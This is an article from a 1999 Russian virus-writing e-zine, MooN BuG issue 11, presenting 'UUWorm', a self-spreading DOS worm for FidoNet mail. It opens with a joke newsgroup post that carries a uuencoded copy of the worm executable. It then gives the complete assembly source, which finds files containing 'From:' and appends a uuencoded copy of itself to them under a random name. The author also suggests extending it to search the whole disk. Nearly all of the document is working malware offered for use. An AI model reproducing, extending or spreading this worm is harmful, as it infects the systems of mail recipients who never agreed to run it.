╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ Wet Milk │014║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║ Сетевой червь UUWorm (FidoNet) ║
╚════════════════════════════════════════════════════════════════════════════╝
────────────────────────────────────────────────────────────────────────────────
From: Vasia Pupkin
To: ALL
Newsgroups: PVT.VIRII
Subject: Сетевой червяк
────────────────────────────────────────────────────────────────────────────────
Привет, all!
Случилось страшное: ко мне пришло письмо, а в конце его
была приаттачена програмка. Я ее запустил, и с тех пор
начались чудеса - эта програмка оказывается приаттаченной
ко всем письмам, которые я сам посылаю. Ай! Ой! Вот и
сейчас...
---
Vasia Pupkin aka -=Ё Super Puper Ё=-
* Origin: Windows vs Virus: virus never fails
P.S. Вопль Васиной души подслушал и озвучил Wet Milk
begin 400 ZUPLGBWS.EXE
MZ#,!M$ZZ3`(KR<TA<@?H!0"T3^OUPV"X`CVY`@"ZG@#-(8O8M#^Y``&ZH0*+
M\LTA@?D``74UN0`!_*T]1G)T!4[B]^LF@3QO;77O@'P".G7IO@`!Z!H`N`)"
M,\DSTLTAM$"+#GX"NH<"S2&T/LTA8<-@QP9^`AH`OZ$"5^BB`%\+TG0-B\(D
M/P0@JO\&?@+K";!@JO\&?@+K9E:^40*L4+D"`-+H)#_H90!8N00`TN`D,(O8
MK%"Y!`#2Z"0/DPK#Z$P`6+D"`-+@)#R+V*Q0N08`TN@D`Y,*P^@S`%@D/^@M
M`(/J`PO2=`CWP@"`=0+KK;`-JK`*JH,&?@("7NE[_[Z``KD'`/.D@P9^`@=A
MP_\&?@(*P'0&)#\$(*K#L&"JP[]1`BO2@_HM<PJ!_J$"<P2D0NOQPV"_DP*Y
M"`#D0#Q!<OH\6G?VJN+S8<,J+BH```@`Y$`\07+Z/%IW]JKB\V'#*BXJ```(
M`.1`/$%R^CQ:=_:JXO-APRHN*@``"!("#0IE;F0-"@T*8F5G:6X@-#`P(%I5
,4$Q'0E=3+D5810T*
`
end
────────────────────────────────────────────────────────────────────────────────
;=====================================================;
;= UUWorm by Wet Milk =;
;=====================================================;
;= Развелось щас сетевых червей, как тараканов на =;
;= кухне. Мне завидно, и я тоже решил внести свой =;
;= вклад, только на большой Internet духу не =;
;= хватило. А в пределах офлайновой почты, =;
;= например ФИДО, вещь вполне актуальная. Правда, =;
;= это только Demo оригинальной идеи, так как: =;
;= 1) заражает только в текущем каталоге; =;
;= 2) лечится в текстовом редакторе :) =;
;= Зато: =;
;= 3) приаттачивает заUUенкоденного себя =;
;= к хвосту текстовых файлов с 'From:' внутри; =;
;= 4) имя приаттаченного файла случайное. =;
;= Вот если если организовать поиск по винту, то... =;
;= ухх! Только это уже без меня. :) =;
;=====================================================;
;
.286
Cseg segment
assume cs:Cseg, ds:Cseg, ss:Cseg
org 100h
;
Start:
; Генерируем случайное имя
call RaName
; Ищем файлы
mov ah, 4Eh
mov dx, offset Maska
sub cx, cx
; Следующий файл
NextF:
int 21h
jc NoMore
call Infect
mov ah, 4Fh
jmp short NextF
; Больше нет
NoMore:
ret
;
; Ищем потенциальную жертву
;
Infect:
; Открываем файл
pusha
mov ax, 3D02h
mov cx, 2
mov dx, 80h+1Eh ; offset FileName
int 21h
mov bx, ax
; Читаем начало (не менее 256 байт)
mov ah, 3Fh
mov cx, 256
mov dx, offset Finish
mov si, dx
int 21h
; Не коротковат ли?
cmp cx, 256
jne NotFr
; Ищем ключевое слово 'From:'
mov cx, 256
cld
NextW:
lodsw
cmp ax, 'rF'
jz IsFr
dec si
loop NextW
jmp short NotFr
IsFr:
cmp word ptr [si], 'mo'
jnz NextW
cmp byte ptr [si+2],':'
jnz NextW
; Найден файл с 'From:' внутри
YesFr:
mov si, offset Start
call UUENCode
; Переходим на конец файла
mov ax, 4202h
xor cx, cx
xor dx, dx
int 21h
; Вписываем закодированного себя
mov ah, 40h
mov cx, UULen
mov dx, offset OutBuf
int 21h
NotFr:
; Закрываем жертву
mov ah, 3Eh
int 21h
popa
ret
;
; Процедура UUENCODE
;
UUENCode:
pusha
mov UULen, Finish-OutBuf
lea di, Finish
LoopC:
push di
call Fill45
pop di
or dx, dx
jz Qwyka
; Печатаем формулу
NoQwy:
mov ax, dx
and al, 77O
add al, ' '
stosb
inc UULen
jmp Parse
; Печатаем кавыку
Qwyka:
mov al, '`'
stosb
inc UULen
jmp DoneAll
; Разбираем Buf45
Parse:
push si
lea si, Buf45
LoopP:
lodsb
push ax
mov cx, 2
shr al, cl
and al, 77O
call Enc
;
pop ax
mov cx, 4
shl al, cl
and al, 60O
mov bx, ax
lodsb
push ax
mov cx, 4
shr al, cl
and al, 17O
xchg ax, bx
or al, bl
call Enc
;
pop ax
mov cx, 2
shl al, cl
and al, 74O
mov bx, ax
lodsb
push ax
mov cx, 6
shr al, cl
and al, 3O
xchg ax, bx
or al, bl
call Enc
;
pop ax
and al, 77O
call Enc
;
sub dx, 3
or dx, dx
jz DoneP
test dx, 1000000000000000b
jnz DoneP
jmp LoopP
DoneP:
mov al, 13
stosb
mov al, 10
stosb
add UULen, 2
pop si
jmp LoopC
DoneAll:
lea si, FinMes
mov cx, 7
rep movsb
add UULen, 7
popa
ret
;
; Упаковка байта
;
Enc:
inc UULen
or al, al
jz NoPack
Pack:
and al, 77O
add al, ' '
stosb
ret
NoPack:
mov al, '`'
stosb
ret
;
; Заполнение временного буфера
;
Fill45:
lea di, Buf45
sub dx, dx
Loop45:
cmp dx, 45
jae Done45
cmp si, offset Finish ; Признак завершения
jae Done45
movsb
inc dx
jmp Loop45
Done45:
ret
;
; Генерация случайного имени файла
;
RaName:
pusha
mov di, offset FileNa
mov cx, 8
NextS:
in al, 40h
cmp al, 'A'
jb NextS
cmp al, 'Z'
ja NextS
stosb
loop NextS
popa
ret
;-----------------------------------------------------------------------
CopyRT db [UUWORM] (c) Wet Milk, 0
Maska db '*.*',0
Head45 db ?
Buf45 db 45 dup (?)
UULen dw Finish-Start
FinMes db 13,10,'end',13,10
OutBuf db 13,10,'begin 400 '
FileNa db 'XXXXXXXX.EXE',13,10
Finish:
;
Cseg ends
End Start